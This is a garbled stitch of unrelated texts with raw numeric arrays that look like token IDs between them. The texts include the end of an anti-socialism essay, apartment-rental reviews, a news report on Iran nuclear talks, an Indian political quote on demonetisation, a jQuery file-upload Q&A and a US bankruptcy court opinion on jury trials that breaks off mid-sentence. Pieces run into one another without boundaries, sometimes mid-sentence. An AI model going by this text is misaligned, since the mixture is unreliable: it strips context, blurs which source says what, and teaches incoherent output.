352, 281, 320, 6069, 14, 67, 4894, 7032, 556, 644, 6508, 15, 3, 8497, 4152, 74, 556, 4242, 347, 697, 8103, 369, 417, 25146, 15, 1707, 310, 642, 2806, 2583, 1091, 937, 16495, 3227, 753, 13, 6240, 326, 8688, 591, 1399, 273, 253, 14731, 574, 4895, 15, 187, 187, 3, 1989, 347, 7312, 253, 8170, 2208, 556, 644, 3192, 1361, 273, 8696, 281, 5276, 326, 352, 369, 247, 2323, 937, 344, 753, 387, 247, 1159, 1060, 29070, 407, 29703, 3344, 682, 18363, 14, 11586, 6657, 530, 1201, 26417, 26782, 775, 2995, 73, 552, 15, 187, 187, 11728, 5302, 253, 32710, 2208, 273, 417, 1146, 4092, 670, 8615, 16933, 13, 344, 2546, 2139, 556, 247, 10304, 417, 644, 6960, 715, 253, 2136, 42331, 273, 378, 9432, 8657, 5973, 3344, 682, 7021, 3918, 329, 2225, 24919, 434, 3347, 16246, 24919, 15, 50, 27, 187, 187, 36955, 830, 12119, 2228, 187, 187, 42, 717, 970, 436, 2715, 273, 19386, 830, 15191, 5987, 1358, 2040, 15, 7280, 15, 681, 16, 78, 932, 484, 16, 630, 16, 11717, 16, 19203, 15, 630, 15, 4305, 187, 35777, 271, 2228, 327, 11929, 27, 187, 3775, 327, 1386, 830, 15, 21399, 1874, 209, 187, 52, 22068, 2597, 27, 33142, 4154, 15, 39775, 15, 630, 15, 4305, 13, 1386, 35100, 1894, 608, 187, 187, 3220, 2127, 27, 187, 29, 630, 2654, 568, 20742, 31483, 5232, 3, 2250, 14015, 13636, 15, 9019, 1587, 31483, 995, 346, 18686, 2807, 6, 21760, 1332, 568, 5996, 3, 546, 46510, 568, 9961, 40475, 16, 630, 14, 2203, 3, 2239, 187, 50274, 29, 3423, 1178, 31, 187, 50270, 29, 42262, 31, 31483, 247, 1873, 870, 42262, 31, 187, 50270, 29, 1968, 31, 4505, 281, 530, 8108, 27, 654, 5423, 1511, 568, 3140, 3, 1416, 568, 3140, 3, 29972, 1968, 31, 187, 50270, 29, 5423, 2654, 568, 20742, 31483, 8880, 3, 1511, 568, 21399, 3, 1318, 568, 31483, 3, 4725, 187, 50274, 870, 3423, 1178, 31, 187, 870, 630, 31, 2490, 187, 6999, 3701, 6734, 551, 187, 50270, 5, 19410, 20742, 31483, 5232, 6788, 20742, 5232, 7506, 187, 50266, 45185, 27, 2032, 13, 187, 50266, 2203, 2548, 27, 346, 8456, 995, 187, 50266, 9131, 38403, 27, 1159, 6734, 551, 187, 50263, 605, 28543, 20742, 31483, 5232, 6788, 6172, 7506, 3935, 27, 21083, 8428, 6740, 17779, 8590, 16, 49297, 16, 5478, 16, 13485, 16, 24951, 15, 23200, 3, 4725, 8, 6824, 187, 50266, 2023, 187, 50266, 12566, 27, 1159, 313, 6870, 10, 551, 187, 50263, 605, 28543, 20742, 31483, 5232, 6788, 328, 6172, 1874, 187, 50262, 605, 5, 19410, 20742, 31483, 5232, 6788, 19511, 5232, 1874, 187, 50262, 1352, 47248, 77, 9571, 9, 8629, 13, 906, 15, 8559, 558, 187, 50266, 2023, 187, 50266, 3775, 27, 1159, 313, 89, 6285, 13, 2505, 9505, 13, 2228, 1044, 2924, 10, 551, 187, 50262, 605, 5, 19410, 20742, 31483, 5232, 6788, 328, 6172, 1874, 187, 50262, 605, 5, 19410, 20742, 31483, 5232, 6788, 19511, 5232, 1874, 187, 50262, 1352, 47248, 77, 9571, 9, 8629, 13, 686, 4756, 49487, 1873, 5137, 187, 50266, 94, 187, 50270, 9897, 187, 50274, 9897, 187, 187, 42, 717, 2509, 436, 12119, 275, 1930, 2969, 1566, 10756, 15, 187, 6791, 320, 690, 581, 778, 452, 667, 5697, 849, 16816, 4993, 326, 32, 187, 187, 34, 27, 187, 187, 2042, 253, 9763, 2250, 326, 368, 403, 28846, 272, 281, 310, 10884, 13922, 368, 1537, 878, 281, 16384, 352, 275, 247, 654, 44749, 31, 14610, 347, 5544, 275, 253, 10097, 27, 187, 187, 7542, 352, 310, 417, 1896, 281, 12119, 187, 50276, 11242, 970, 253, 9882, 434, 187, 50276, 17733, 15003, 6825, 1789, 13, 253, 7191, 49366, 187, 50276, 5123, 247, 8763, 604, 30873, 3284, 281, 1361, 187, 50276, 3113, 253, 4836, 15, 831, 310, 247, 1846, 187, 50276, 23693, 2271, 13, 533, 352, 556, 12794, 187, 50276, 17465, 569, 15, 380, 604, 30873, 3284, 310, 187, 50276, 3197, 347, 253, 2303, 273, 253, 830, 434, 187, 50276, 21399, 4254, 534, 2097, 326, 253, 187, 50276, 9438, 2380, 310, 3542, 281, 253, 187, 50276, 45185, 15, 831, 310, 4030, 604, 253, 2380, 187, 50276, 881, 310, 11685, 390, 14784, 13, 533, 2506, 626, 789, 187, 50276, 284, 973, 604, 253, 2380, 1511, 310, 6001, 187, 50276, 263, 13922, 13, 1097, 273, 534, 2223, 3831, 187, 50276, 3615, 5468, 326, 878, 281, 320, 1234, 265, 8006, 187, 50276, 5302, 10726, 10414, 672, 1119, 275, 187, 50276, 15597, 44236, 15, 187, 1992, 2395, 323, 253, 7881, 273, 187, 50276, 3866, 285, 13922, 6128, 13, 253, 7191, 187, 50276, 23836, 4483, 841, 6128, 281, 320, 187, 50276, 40964, 275, 247, 2505, 12879, 3284, 285, 352, 187, 50276, 261, 8521, 326, 368, 513, 594, 323, 187, 50276, 20513, 2380, 3510, 672, 908, 275, 187, 50276, 585, 7589, 421, 342, 1873, 12119, 84, 15, 7764, 187, 50276, 9939, 13, 2299, 13, 326, 604, 627, 310, 642, 187, 50276, 3140, 3280, 275, 253, 830, 840, 253, 187, 50276, 9629, 4648, 2622, 1594, 9914, 281, 11929, 253, 187, 50276, 630, 313, 1439, 271, 604, 30873, 481, 831, 12516, 253, 187, 50276, 13156, 3354, 327, 634, 4771, 2127, 281, 871, 187, 50276, 9453, 281, 897, 247, 2505, 12879, 285, 672, 417, 187, 50276, 936, 15, 1310, 368, 751, 13, 368, 476, 897, 253, 187, 50276, 45185, 4500, 273, 253, 15191, 281, 3490, 187, 50276, 262, 281, 1900, 897, 271, 604, 30873, 4438, 285, 187, 50276, 7461, 634, 4771, 476, 1900, 8473, 253, 187, 50276, 10927, 275, 247, 2505, 12879, 15, 535, 34108, 9224, 310, 247, 29553, 273, 271, 5400, 13, 285, 7826, 581, 273, 253, 954, 39631, 13, 11117, 16258, 326, 309, 457, 306, 18029, 281, 275, 247, 1223, 15 ]

socialist institutions, brought me to a position combining the unrivalled prosperity-generating dynamics of liberal markets with alternative and sustainable means of alleviation of avoidable suffering for the worst off. I don’t doubt all of the above will fail to convert socialist readers. If I can at least make them see why one could reasonably come to view socialism unfavourably, then I’ll be satisfied. But let me finish with one more challenge. Consider again the above problems, (i) to (v). What could one expect to result when all of the following come together: Acute voter ignorance and attention deficits, arbitrary economic plans, perverse production incentives, special interest co-opting, and a central administration with ultimate authority to sustain the collective structure by force? I would hazard that we could expect to see a society characterised by ever-declining economic output, worker-voter disillusionment, corruption, and an economy grinding along only through threats of force. Now reflect on all the allegedly “not real”, “in-name-only” socialist and communist countries that arose throughout the 20th century. And consider the pattern of failures that occurred in almost every case: economic stagnation, if not devastation; worker-voter disillusionment; extensive apparatuses of internal terror and political repression; corruption and bureaucratic favoritism; totalitarianism. And notice that these results occurred across a large range of sociocultural backdrops, the same experiment repeated in nations of differing demographic constitutions and histories and languages and values. Is it really plausible to posit that the similar failures in every single one of these cases were the results of different incidental factors that derailed these socialist experiments time and time again? That each of these socialist movements and leaders, who seemed so earnestly and genuinely committed to socialism at the outset, got derailed because those movements’ leaders just couldn’t get it quite right each time for different reasons? Is it not a far more parsimonious and plausible explanation that the repeated pattern of failure is due to the inherent defects that arise when one attempts, even if sincerely, to implement this kind of economic arrangement? I’ll leave the reader to dwell on those questions, and invite feedback in the comments below. I intend this to be an invitation to a genuine and good faith dialogue with socialists. There’s a great deal at stake when it comes to these issues. It’s incumbent upon us to try as far as possible to treat with intellectual respect those with whom we fundamentally disagree. Otherwise, minds will never be changed, and collective progress towards the truth, wherever it lies, never achieved.Got Questions?Excellent, we got answers Stoop Love ❤ “Loved staying at this place! It was perfect for me. Laundry inside the unit was a HUGE plus and the building was safe and secure. Will definitely be back next time I’m in the city!” Tammie Taylor Stayed in: Williamsburg This is the 2nd time I've stayed with Stoop and enjoyed my experience. Places are updated & clean! They also provided a cleaning service every 2 weeks which was a nice perk. I'll definitely use them again in NYCThe six powers the United States and the other four members of the United Nations Security Council, plus Germany had asked for the extra session in order to shape a framework for further talks and confidence-building measures, the diplomats said. They emphasized that the six would not agree to any preconditions. After a two-hour opening plenary session on Friday morning largely given over to summarizing known positions, the talks broke at about noon for Friday prayers and lunch, and did not resume again until 4 p.m. Then, a bilateral meeting between the Iranian chief negotiator, Saeed Jalili, and the representative of the world powers, Catherine Ashton, the European Union foreign policy chief, convened for 90 minutes. But Western diplomats expressed disappointment with the results of the meeting. They said that Ms. Ashton laid out an agreed position on how to move forward, with a revised fuel swap deal for Iran’s already enriched uranium and a series of bilateral meetings, including one with the United States. But Mr. Jalili said that first there must be recognition of Iran’s right to enrich uranium and a lifting of "measures” understood as sanctions that would “would jeopardize Iran’s rights and obligations” under the Nuclear Non-Proliferation Treaty. The diplomats said that Iran’s right to enrich uranium for peaceful purposes was a given, and that the sanctions had been imposed by the United Nations Security Council after Iran failed to deal honestly and completely with the International Atomic Energy Agency. They said they wanted to move into detailed discussions with Iran of a modified fuel swap deal, first laid out in October 2009, designed to remove enough enriched uranium to prevent Iran from building a bomb in return for fuel rods for a small Tehran reactor making medical isotopes. The point of this Istanbul meeting has been “to find out if Iran is serious” about negotiating, a senior Western diplomat said. There is still no clear answer to that question, but American and French officials in particular have said in the last few days that “talking cannot be an endless process,” even as they have expressed relief that Iran is having difficulties with its centrifuges and the estimated time for it to be nuclear-bomb capable has been extended."Notebandi has failed as its objective was not fulfilled. There is no black money return," Sinha said, adding that 99 per cent of the currency had returned. "But as usual the Central government has been taking help of lies to prove that it was a success," he said at a function here organised by rebel Janata Dal-United leader Uday Narayan Choudhary. Accusing the Modi government of not being serious about fighting corruption, he asked why has a probe not been ordered into the business dealings of Bharatiya Janata Party President Amit Shah's son Jay Shah.Q: jQuery form upload error I am using this version of jQuery form plugin https://raw.github.com/malsup/form/master/jquery.form.js getting an error on submit: error on line form.submit(); SCRIPT87: Invalid argument. jquery.form.js, line 347 character 5 My code: <form id="ajaxUploadForm" action="@Url.Action("Upload", "Home")%>" method="post" enctype="multipart/form-data" > <fieldset> <legend>Upload a file</legend> <label>File to Upload: <input type="file" name="file" /></label> <input id="ajaxUploadButton" type="submit" value="Upload" /> </fieldset> </form> $(function () { $("#ajaxUploadForm").ajaxForm({ iframe: true, dataType: "json", beforeSubmit: function () { // $("#ajaxUploadForm").block({ message: '<img src="/Content/themes/start/images/progress.gif" />' }); }, success: function (result) { // $("#ajaxUploadForm").unblock(); //$("#ajaxUploadForm").resetForm(); $.growlUI(null, result.message); }, error: function (xhr, textStatus, errorThrown) { //$("#ajaxUploadForm").unblock(); //$("#ajaxUploadForm").resetForm(); $.growlUI(null, 'Error uploading file'); } }); }); I am doing this upload in side simple model dialog. May be some one may have any ideas how ti fix that? A: If the controller action that you are POSTing to is returning JSON you might need to wrap it in a <textarea> tags as explained in the documentation: Since it is not possible to upload files using the browser's XMLHttpRequest object, the Form Plugin uses a hidden iframe element to help with the task. This is a common technique, but it has inherent limitations. The iframe element is used as the target of the form's submit operation which means that the server response is written to the iframe. This is fine if the response type is HTML or XML, but doesn't work as well if the response type is script or JSON, both of which often contain characters that need to be repesented using entity references when found in HTML markup. To account for the challenges of script and JSON responses, the Form Plugin allows these responses to be embedded in a textarea element and it is recommended that you do so for these response types when used in conjuction with file uploads. Please note, however, that if there is no file input in the form then the request uses normal XHR to submit the form (not an iframe). This puts the burden on your server code to know when to use a textarea and when not to. If you like, you can use the iframe option of the plugin to force it to always use an iframe mode and then your server can always embed the response in a textarea. Exit Plan is a marvel of an album, and potentially one of the most sporadic, diverse albums that I’ve listened to in a while.

[ 2408, 281, 271, 6843, 4098, 273, 1612, 281, 2589, 4984, 7587, 15, 496, 958, 13, 253, 760, 13165, 10067, 534, 2968, 5742, 342, 253, 987, 281, 2589, 247, 4984, 2332, 25145, 253, 3286, 1302, 281, 513, 594, 275, 3367, 4975, 285, 32288, 2471, 3916, 13, 1903, 530, 15, 52, 15, 36, 15, 3015, 21043, 9, 67, 2769, 22, 582, 285, 14003, 253, 987, 281, 2332, 407, 4984, 5001, 3367, 4975, 390, 32288, 2471, 9810, 3916, 15, 3349, 530, 15, 52, 15, 36, 15, 3015, 1638, 883, 15, 1284, 253, 35661, 6817, 2111, 273, 9892, 8042, 562, 275, 496, 294, 1986, 16301, 6022, 13, 5759, 4620, 281, 320, 6600, 273, 253, 3448, 3058, 281, 20229, 3890, 6265, 275, 247, 1327, 14, 30858, 6490, 41223, 281, 2589, 4984, 7587, 13, 1580, 352, 556, 2218, 594, 275, 253, 1083, 273, 530, 15, 52, 15, 6813, 382, 27619, 15, 496, 294, 1986, 16301, 6022, 13, 898, 520, 401, 15, 19, 69, 387, 1638, 3439, 313, 43507, 3349, 530, 15, 52, 15, 36, 15, 3015, 49921, 9, 66, 2769, 20, 582, 313, 68, 2769, 18, 5029, 2896, 4499, 13, 253, 6413, 2111, 556, 7943, 3448, 275, 253, 12459, 3162, 5277, 323, 4984, 7587, 275, 13165, 10061, 313, 1619, 530, 15, 52, 15, 36, 15, 3015, 1638, 883, 10, 347, 346, 1439, 49186, 23851, 449, 22346, 9750, 1377, 22771, 13, 45223, 530, 15, 52, 15, 387, 3387, 14, 3156, 295, 15, 495, 13, 12652, 322, 15, 5229, 15, 387, 3435, 2511, 295, 15, 495, 15, 187, 688, 253, 5928, 273, 3890, 11315, 26239, 13, 253, 1953, 4916, 1880, 824, 1612, 778, 320, 10466, 432, 247, 4361, 273, 253, 14112, 2892, 285, 16, 263, 1880, 352, 310, 346, 1763, 37115, 285, 3309, 281, 1056, 253, 10843, 3576, 449, 496, 294, 1986, 16301, 6022, 13, 898, 520, 401, 15, 19, 69, 387, 1638, 2417, 313, 18799, 374, 34, 322, 16580, 1373, 6515, 15, 13186, 15, 3015, 7288, 15, 2125, 313, 15624, 5029, 2594, 671, 2071, 360, 362, 15, 659, 24480, 13, 37306, 530, 15, 52, 15, 854, 2691, 13, 854, 4196, 13, 12131, 322, 15, 5229, 15, 1458, 3156, 13, 1458, 2385, 13, 11275, 418, 15, 3996, 15, 19, 69, 854, 4739, 313, 15624, 558, 367, 2955, 793, 45323, 9537, 15, 362, 15, 32330, 35, 13, 31389, 530, 15, 52, 15, 24232, 13, 9901, 322, 15, 5229, 15, 854, 1857, 13, 9330, 418, 15, 3996, 15, 1249, 3677, 313, 44606, 481, 187, 688, 830, 8287, 271, 3662, 13, 253, 2111, 33888, 806, 253, 28934, 13165, 19195, 15, 380, 23560, 3162, 273, 42122, 313, 783, 346, 1093, 4185, 3162, 2807, 6221, 642, 11315, 26239, 323, 253, 13165, 1302, 281, 2589, 4984, 7587, 13, 3738, 352, 858, 2085, 323, 4984, 7587, 275, 253, 1083, 273, 35393, 33432, 285, 10143, 273, 26131, 15, 496, 15621, 13, 253, 2523, 273, 1880, 253, 13165, 1302, 812, 1611, 475, 28871, 253, 6158, 3916, 369, 11512, 13, 342, 253, 38548, 72, 318, 273, 19993, 4803, 407, 253, 32665, 12651, 15, 9240, 4803, 2424, 10143, 1430, 3916, 281, 320, 3597, 275, 253, 3286, 1302, 13, 5734, 247, 1980, 4086, 2530, 5010, 13, 285, 35393, 33432, 281, 320, 3597, 275, 253, 13165, 1302, 13, 5734, 247, 4831, 323, 2332, 275, 253, 3286, 1302, 369, 1160, 390, 247, 1980, 4086, 594, 2424, 15, 8529, 15, 6022, 15, 51, 15, 27744, 9, 68, 582, 11343, 9, 67, 582, 45016, 275, 1249, 2065, 3623, 327, 23560, 1061, 15, 27744, 15, 18, 313, 1047, 394, 1407, 15, 14828, 481, 2594, 29215, 13, 41670, 47992, 275, 23560, 27, 473, 1257, 3184, 253, 11293, 2287, 273, 14108, 6490, 285, 253, 33808, 10737, 13, 8187, 12498, 15, 45, 15, 7498, 15, 898, 2251, 13, 898, 3655, 313, 14619, 10, 5550, 43, 1626, 47992, 275, 23560, 6788, 187, 29129, 13, 253, 23560, 27828, 3162, 313, 783, 346, 19791, 3162, 2807, 4428, 642, 3890, 26239, 323, 253, 13165, 1302, 281, 2589, 4984, 7587, 15, 1723, 13, 275, 45961, 13, 253, 6413, 2111, 12969, 326, 5238, 1638, 1438, 13, 534, 2530, 323, 253, 23029, 273, 253, 987, 281, 247, 4984, 2332, 347, 352, 13164, 2720, 281, 253, 14304, 3162, 17555, 22, 62, 858, 25145, 253, 13165, 1302, 281, 2589, 4984, 7587, 15, 3349, 530, 15, 52, 15, 36, 15, 3015, 1638, 1438, 313, 17103, 10, 313, 250, 365, 3256, 481, 380, 2111, 434, 7914, 2908, 8981, 273, 253, 3862, 4098, 273, 7571, 275, 253, 3162, 281, 346, 455, 5079, 10061, 14475, 762, 4060, 1903, 390, 14475, 275, 390, 2905, 281, 2219, 762, 4060, 1903, 937, 3349, 530, 15, 52, 15, 36, 15, 3015, 1638, 3677, 9, 67, 582, 313, 68, 582, 347, 973, 347, 273, 5759, 434, 4469, 6860, 15, 8079, 13, 253, 14112, 2892, 4620, 281, 452, 644, 15246, 327, 436, 1127, 27, 187, 16822, 10025, 7829, 588, 320, 2424, 281, 2186, 4984, 7587, 281, 21633, 9038, 752, 403, 762, 1246, 1569, 1925, 2634, 446, 35634, 19519, 4117, 326, 310, 13, 19519, 326, 403, 3982, 275, 2418, 390, 7671, 7829, 643, 685, 13165, 7829, 4681, 23, 62, 187, 19791, 530, 15, 52, 15, 6124, 4731, 15, 708, 37727, 15, 19537, 8988, 2597, 13, 8978, 3571, 13, 8978, 3655, 15, 2594, 3839, 41670, 47992, 275, 23560, 387, 898, 1976, 15, 187, 510, 6413, 2111, 275, 45961, 2427, 327, 281, 11165, 326, 22996, 26239, 281, 2589, 4984, 7587, 13588, 14108, 6490, 273, 253, 530, 15, 52, 15, 10350, 13, 387, 1878, 347, 281, 1375, 14, 6937, 3310, 3916, 14475, 762, 253, 13165, 5323, 15, 496, 2380, 13, 253, 32665, 12651, 38548, 27189, 8945, 4803, 534, 19772, 253, 13165, 1302, 432, 16472, 4984, 7587, 15, 28060, 7804, 313, 69, 2769, 18, 2769, 37, 582, 45016, 275, 337, 2065, 3623, 327, 23560, 1061, 15, 495, 15, 520, 9, 18, 2769, 67, 2769, 6584, 2769, 1010, 394, 1407, 15, 11161, 481, 2594, 671, 496, 294, 7039, 273, 914, 41480, 35365, 5109, 273, 401, 322, 21506, 9537, 904, 818, 1549, 401, 15, 19, 69, 12035, 21, 13, 12035, 25, 313, 883, 394, 4082, 15, 15117, 481, 24083, 13, 5759, 23552, 253, 23560, 44518, 942, 285, 7671, 19592, 1456, 3162, 273, 12459, 313, 783, 346, 15624, 44518, 942, 8375, 534, 3842, 3256, 5238, 1638, 1438, 15, 9157, 13, 23560, 7804, 898, 10496, 13, 534, 369, 38548, 27189, 846, 45961, 285, 17886, 7259, 323, 4984, 7587, 13, 369, 48736, 456, 275, 12034, 281, 3693, 667, 7914, 326, 352, 35716, 247, 987, 281, 4984, 2332, 275, 8213, 1078, 253, 13165, 1302, 15, 2594, 34136, 7039, 21812, 327, 12034, 10737, 13, 1903, 530, 15, 52, 15, 36, 15, 34, 15, 7804, 898, 10496, 313, 357, 6375, 456, 3919, 1884, 13, 12034, 481, 187, 11, 24447, 1284, 4879, 407, 253, 35661, 6817, 2111, 273, 9892, 275, 496, 294, 1986, 16301, 6022, 13, 898, 520, 401, 15, 19, 69, 387, 1638, 2417, 295, 15, 1668, 13, 253, 33178, 3806, 275, 253, 14112, 2892, 281, 253, 13165, 1302, 434, 1612, 281, 2589, 247, 4984, 2332, 310, 1679, 685, 2590, 15, 6408, 247, 8881, 327, 1880, 281, 7158, 253, 13165, 1302, 14108, 6490, 3708, 13, 19974, 29552, 1255, 4767, 326, 346, 783, 13165, 1302, 588, 2589, 253, 2332, 13, 1056, 247, 17401, 281, 253, 3286, 1302, 449, 11084, 4731, 15, 6116, 15, 388, 23, 22232, 313, 9709, 15, 3127, 13, 12459, 481, 754, 840, 4767, 326, 521, 15129, 13, 6034, 281, 32039, 14108, 6490, 3708, 327, 13165, 16006, 13, 11392, 275, 17718, 13, 346, 1851, 12937, 800, 41519, 273, 253, 8945, 13165, 4086, 13, 253, 1566, 4086, 326, 556, 644, 275, 1055, 964, 964, 17212, 1723, 13, 347, 4879, 9253, 13, 253, 28060, 16228, 19772, 253, 13165, 1302, 432, 16472, 4984, 7587, 15, 28060, 7804, 313, 69, 2769, 18, 2769, 37, 481, 9157, 13, 275, 247, 3908, 327, 8180, 273, 247, 8907, 12651, 10840, 327, 253, 12459, 3162, 13, 18718, 2207, 11078, 388, 1506, 7478, 326, 346, 783, 8059, 16733, 728, 253, 19652, 557, 39833, 407, 253, 6413, 2111, 275, 253, 45961, 1083, 449, 21978, 407, 4673, 15, 388, 1506, 13, 12459, 530, 15, 52, 15, 6124, 4731, 15, 708, 37727, 15, 19537, 46313, 13, 47064, 13, 46475, 15, 18718, 388, 1506, 2427, 327, 281, 3877, 326, 346, 688, 45961, 253, 6413, 2111, 4425, 326, 13165, 16006, 812, 417, 21633, 9038, 2418, 1569, 3916, 449, 4031, 15, 387, 608, 4196, 15, 2053, 7234, 13, 11575, 275, 1708, 273, 22346, 9750, 1377, 22771, 434, 10362, 326, 3916, 273, 3055, 987, 1754, 327, 1375, 1569, 403, 417, 7429, 281, 2332, 407, 4984, 13, 14269, 366, 275, 3718, 273, 247, 7441, 326, 253, 13165, 1302, 778, 417, 21633, 9038, 253, 3916, 3559, 1060, 15, 5076, 13, 436, 2111, 2550, 26923, 667, 34593, 1921, 2139, 352, 651, 320, 3309, 323, 253, 13165, 1302, 281, 320, 43175, 281, 2589, 4984, 7587, 275, 247, 1327, 14, 6443, 12162, 275, 1340, 281, 4459, 562, 697, 3890, 11315, 9136, 15, 187, 15545, 327, 247, 10182, 2278, 273, 253, 11315, 3448, 285, 14112, 2892, 13, 253, 17538, 6817, 2111, 273, 9892, 7945, 326, 5759, 6034, 281, 2701, 253, 1612, 273, 253, 13165, 1302, 762, 253, 12459, 44518, 942, 15, 38842, 362, 15, 473, 868, 313, 688, 294, 38025, 13, 3690, 11507, 854, 2222, 401, 15, 19, 69, 7783, 20, 13, 1458, 1047, 14, 1010, 313, 22, 394, 4082, 15, 13435, 481, 380, 2111, 3103, 9284, 281, 1089, 271, 10466, 1612, 275, 253, 13165, 1302, 281, 16209, 6424, 20334, 13, 4073, 272, 671, 326, 247, 4092, 10281, 1953, 651, 5010, 320, 22691, 27, 187, 1231, 956, 253, 11371, 4086, 326, 4400, 19195, 13, 835, 597, 778, 12054, 320, 594, 21323, 1293, 7217, 281, 616, 2590, 4495, 13, 943, 320, 1677, 271, 7914, 326, 32547, 4092, 1953, 347, 281, 616, 10281, 13091, 15, 187, 688, 294, 38025, 13, 854, 2222, 401, 15, 19, 69, 387, 7783, 26, 313, 18799, 13, 734, 40342, 13, 46586, 362, 15, 1986, 2077, 13, 35302, 530, 15, 52, 15, 854, 3680, 13, 854, 1540, 13, 12652, 322, 15, 5229, 15, 374, 20991, 13, 22856, 18, 13, 12131, 418, 15, 3996, 15, 19, 69, 898, 1508, 313, 14643, 5029, 1198, 253, 1072, 4606, 13, 436, 2111, 9010, 642, 10466, 1612, 275, 253, 13165, 1302, 281, 2589, 4984, 7587, 275, 1327, 14, 6443, 10061, 15, 187, 6175, 253, 23560, 6307, 1057, 1375, 326, 5161, 10061, 2486, 5231, 281, 9295, 17971, 285, 281, 873, 9255, 25447, 12709, 1972, 13, 253, 6413, 2111, 275, 22346, 9750, 1377, 22771, 4845, 247, 27392, 327, 326, 11315, 3448, 15, 22346, 9750, 1377, 22771, 5936, 326, 253, 5161, 285, 1327, 14, 6443, 2216, 569, 1160, 407, 5759, 403, 417, 557, 10247, 273, 253, 33808, 10737, 987, 281, 247, 2332, 407, 4984, 15, 2594, 22346, 9750, 1377, 22771, 13, 45223, 530, 15, 52, 15, 387, 9901, 13, 12652, 322, 15, 5229, 15, 387, 3349, 361, 5550, 1552, 15846, 43653, 1818, 2550, 6990, 776, 33808, 10737, 1783, 25107, 2896, 6880, 13, 824, 23069, 13301, 943, 417, 39589, 534, 12209, 778, 2589, 247, 4984, 2332, 15, 496, 1859, 273, 253, 958, 326, 313, 66, 10, 253, 3916, 281, 9295, 247, 14682, 285, 281, 873, 9255, 25447, 12709, 1972, 452, 417, 644, 5439, 1411, 253, 13165, 8304, 13, 285, 313, 67, 10, 841, 4320, 3916, 6388, 3055, 3570, 1754, 327, 1375, 1569, 13, 597, 403, 7429, 281, 320, 3597, 407, 247, 4984, 15, 2594, 5955, 16414, 15, 37368, 281, 253, 20128, 1783, 13, 436, 2111, 20097, 671, 326, 253, 13165, 1302, 19756, 11315, 6265, 281, 2589, 247, 4984, 2332, 273, 841, 1798, 3916, 13, 1880, 390, 417, 253, 12459, 44518, 942, 1850, 297, 4024, 731, 13, 275, 247, 12314, 3282, 13, 347, 5161, 390, 1327, 14, 6443, 15, 2594, 13, 299, 15, 72, 904, 399, 4063, 249, 13, 9743, 378, 15, 51, 15, 387, 21669, 313, 3446, 964, 964, 247, 1083, 1057, 417, 2489, 247, 5161, 12162, 3365, 984, 352, 310, 1561, 247, 3349, 530, 15, 52, 15, 36, 15, 3015, 21043, 9, 67, 2769, 19, 10, 7681, 5740, 25107, 187, 18562, 594, 3413, 13, 253, 2111, 34044, 281, 3986, 253, 2007, 2523, 273, 1880, 14108, 6490, 285, 16, 263, 253, 33808, 10737, 7164, 10281, 15938, 281, 253, 23560, 2111, 434, 1612, 281, 2589, 4984, 7587, 15, 187, 11, 40948, 380, 2111, 21223, 9010, 642, 878, 281, 3986, 12244, 6022, 434, 3081, 4154, 326, 18185, 273, 253, 3806, 310, 17396, 762, 3349, 530, 15, 52, 15, 36, 15, 3015, 21043, 9, 69, 582, 275, 1859, 273, 253 ]

amount to an explicit grant of power to conduct jury trials. In fact, the only bankruptcy provisions which deal specifically with the right to conduct a jury trial empower the district court to do so in personal injury and wrongful death claims, 11 U.S.C. § 157(b)(5), and preserve the right to trial by jury regarding personal injury or wrongful death tort claims. 28 U.S.C. § 1411. As the Eighth Circuit Court of Appeals pointed out in In re United Missouri Bank, Congress appears to be aware of the language needed to vest express authority in a non-Article III tribunal to conduct jury trials, since it has done so in the case of U.S. Magistrates. In re United Missouri Bank, 901 F.2d at 1454 (noting 28 U.S.C. § 636(a)(3), (c)(1)). By contrast, the Supreme Court has characterized language in the 1984 Act providing for jury trials in bankruptcy proceedings (28 U.S.C. § 1411) as "notoriously ambiguous." Granfinanciera, 492 U.S. at 40-41 n. 3, 109 S.Ct. at 2789 n. 3. In the absence of express statutory authorization, the question becomes whether such power may be implied from a reading of the legislative history and/or whether it is "incidental and necessary to make the legislation effective." In re United Missouri Bank, 901 F.2d at 1455 (citing 2A Sutherland Stat.Const. § 55.04 (1984)). See also Blum v. Stenson, 465 U.S. 886, 896, 104 S.Ct. 1541, 1548, 79 L.Ed.2d 891 (1984); Phelps Dodge Corp. v. NLRB, 313 U.S. 177, 61 S.Ct. 845, 85 L.Ed. 1271 (1941). In formulating an answer, the Court examines first the predecessor bankruptcy statutes. The Bankruptcy Act of 1898 (the "1898 Act") contained no statutory authorization for the bankruptcy court to conduct jury trials, although it did provide for jury trials in the case of involuntary petitions and discharge of debts. In 1973, the issue of whether the bankruptcy court could try *443 the latter claims was resolved, with the promulgation of procedural rules by the Judicial Conference. Those rules required dischargeability claims to be tried in the district court, unless a local rule provided otherwise, and involuntary petitions to be tried in the bankruptcy court, unless a demand for trial in the district court was made or a local rule so required. Fed. Bank.R. 409(c), 115(b), reprinted in 12 Collier on Bankruptcy par. 409.1 (14th ed. 1976). See Gibson, Jury Trials in Bankruptcy: Obeying the Commands of Article III and the Seventh Amendment, 72 Minn.L.Rev. 967, 973 (1988) ("Jury Trials in Bankruptcy"). Similarly, the Bankruptcy Reform Act (the "1978 Act") contains no express authorization for the bankruptcy court to conduct jury trials. However, in Marathon, the Supreme Court ruled that Section 1480, which provided for the preservation of the right to a jury trial as it existed prior to the 1978 Act,[5] did empower the bankruptcy court to conduct jury trials. 28 U.S.C. § 1480 (1982) (repealed). The Court's interpretation included recognition of the broad grant of jurisdiction in the Act to "all civil proceedings arising under title 11 or arising in or related to cases under title 11," 28 U.S.C. § 1471(b), (c), as well as of Congress's expressed intent. Indeed, the legislative history appears to have been straightforward on this point: Bankruptcy courts will be required to hold jury trials to adjudicate what are under present law called `plenary suits,' that is, suits that are brought in State or Federal courts other than bankruptcy courts.[6] 1978 U.S.Code Cong. & Admin.News 5787, 5963, 5973. See generally Jury Trials in Bankruptcy at 975. The Supreme Court in Marathon went on to declare that congressional authorization to conduct jury trials violated Article III of the U.S. Constitution, at least as to state-law contract claims arising under the bankruptcy laws. In response, the Judicial Conference promulgated emergency rules which prohibited the bankruptcy court from conducting jury trials. Emergency Rule (d)(1)(D), reprinted in 1 Collier on Bankruptcy par. 3.01(1)(b)(vi)(15th ed. 1989). See also In re Committee of Unsecured Creditors of F S Communications Corp., 760 F.2d 1194, 1198 (11th Cir.1985). Subsequently, Congress enacted the Bankruptcy Amendments and Federal Judgeship Act of 1984 (the "1984 Amendments"), which repealed Section 1480. Additionally, Bankruptcy Rule 9015, which was promulgated after Marathon and governed procedures for jury trials, was abrogated in 1987 to avoid any interpretation that it conferred a right to jury trial in matters before the bankruptcy court. See Advisory 